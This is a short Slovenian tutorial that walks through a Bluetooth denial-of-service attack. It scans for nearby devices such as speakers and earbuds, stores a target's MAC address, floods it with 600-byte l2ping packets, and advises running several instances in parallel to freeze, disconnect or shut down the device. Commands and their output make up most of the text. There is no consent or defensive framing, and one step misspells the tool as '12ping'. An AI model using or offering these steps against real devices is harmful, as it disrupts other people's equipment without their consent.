

Demonstracija l2ping flood napada

Ta demonstracija prikazuje, kako se lahko zlorabi orodje `l2ping` za izvajanje **Bluetooth flood napada** na ciljno napravo.

1. Iskanje Bluetooth naprav v bližini

Za začetek poiščemo naprave v doseg Bluetooth povezave z ukazom `hcitool scan`:

```
$ hcitool scan
Scanning ...
    41:42:7B:CB:AC:9E      SBL TW6 C2
    44:EA:30:60:EA:58      Galaxy Buds Pro (EA58)
    F0:CD:31:60:0F:D5      Urban S22
    90:7A:58:E9:9A:BB      WH-XB910N
```

2. Shranjevanje MAC naslova ciljne naprave

Izberemo želeno napravo in njen MAC naslov shranimo v spremenljivko za lažji dostop:

```
$ SPEAKER_MAC=41:42:7B:CB:AC:9E
```

3. Zagon flood napada z `l2ping`

Z ukazom `l2ping` začnemo pošiljati velike pakete z visoko frekvenco na ciljno napravo:

```
$ sudo l2ping -s 600 -f $SPEAKER_MAC
Ping: 41:42:7B:CB:AC:9E from 64:79:F0:53:DD:37 (data size 600) ...
600 bytes from 41:42:7B:CB:AC:9E id 0 time 27.76ms
600 bytes from 41:42:7B:CB:AC:9E id 1 time 40.01ms
600 bytes from 41:42:7B:CB:AC:9E id 2 time 36.01ms
...
```


Ta ukaz bo neprekinjeno pošiljal 600-bajtna paketa, dokler ga ne prekinemo s `Ctrl + C`. Največja dovoljena velikost paketa je odvisna tudi od naprave. Če vam ukaz sprva ne dela, poskusite prvo brez zastavice `-s`

4. Povečevanje učinka (opsijsko)

Za večji vpliv lahko istočasno zaženemo `12ping` iz več terminalskih oken oz. instanc. To močno obremeni ciljno napravo in lahko privede do:

- začasne prekinitve povezave,
- zvočnih motenj (pri slušalkah),
- zamrzovanja oz. počasnosti delovanja naprave,
- izklop naprave.

Za avtomatizacijo več vzporednih napadov si oglej skripto:

 `stress_testing_bt.py`